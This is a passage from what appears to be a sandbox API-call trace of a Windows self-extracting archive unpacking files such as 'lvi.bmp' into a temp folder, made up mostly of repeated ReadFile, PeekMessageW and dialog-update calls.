() returned 0x1fc58 [0068.614] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.614] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.614] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.614] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.614] GetTickCount () returned 0x1fc58 [0068.614] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.615] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.615] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.615] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.615] GetTickCount () returned 0x1fc58 [0068.615] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.615] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.615] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.615] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.615] GetTickCount () returned 0x1fc58 [0068.615] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.615] ReadFile (in: hFile=0x1c, lpBuffer=0x270451, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270451*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.615] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.615] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.615] GetTickCount () returned 0x1fc58 [0068.615] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.615] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x234, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x234, lpOverlapped=0x0) returned 1 [0068.616] GetTickCount () returned 0x1fc58 [0068.616] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.616] SetFilePointer (in: hFile=0x1c, lDistanceToMove=878629, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd6825 [0068.616] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.616] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.616] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.616] CloseHandle (hObject=0x138) returned 1 [0068.617] SetFileAttributesA (lpFileName="chq.mp3", dwFileAttributes=0x20) returned 1 [0068.617] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd6825 [0068.617] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.617] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.617] OemToCharA (in: pSrc="lvi.bmp", pDst=0x179cc0 | out: pDst="lvi.bmp") returned 1 [0068.617] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="lvi.bmp", cchCount2=1) returned 1 [0068.617] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="lvi.bmp", cchCount2=6) returned 1 [0068.617] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="lvi.bmp", cchCount2=-1) returned 1 [0068.617] SetFilePointer (in: hFile=0x1c, lDistanceToMove=878673, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd6851 [0068.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="lvi.bmp") returned 8 [0068.618] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419eb8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.618] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting lvi.bmp") returned 18 [0068.618] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting lvi.bmp") returned 1 [0068.618] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.618] OemToCharBuffA (in: lpszSrc="l", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="l") returned 1 [0068.618] CharToOemBuffA (in: lpszSrc="L", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="L") returned 1 [0068.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="lvi.bmp") returned 8 [0068.618] FindFirstFileW (in: lpFileName="lvi.bmp", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.618] GetLastError () returned 0x2 [0068.618] GetFileAttributesA (lpFileName="lvi.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lvi.bmp")) returned 0xffffffff [0068.618] CreateFileA (lpFileName="lvi.bmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\lvi.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.690] GetFileType (hFile=0x138) returned 0x1 [0068.690] SetFilePointer (in: hFile=0x138, lDistanceToMove=612, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x264 [0068.690] SetEndOfFile (hFile=0x138) returned 1 [0068.690] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.690] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ed, lpOverlapped=0x0) returned 1 [0068.690] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.690] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.690] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.691] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.691] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.691] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.691] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.691] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.691] GetTickCount () returned 0x1fca6 [0068.691] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.692] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.692] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.692] GetTickCount () returned 0x1fca6 [0068.692] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.692] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270475*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.693] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.693] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.693] GetTickCount () returned 0x1fca6 [0068.693] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.693] ReadFile (in: hFile=0x1c, lpBuffer=0x270475, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: 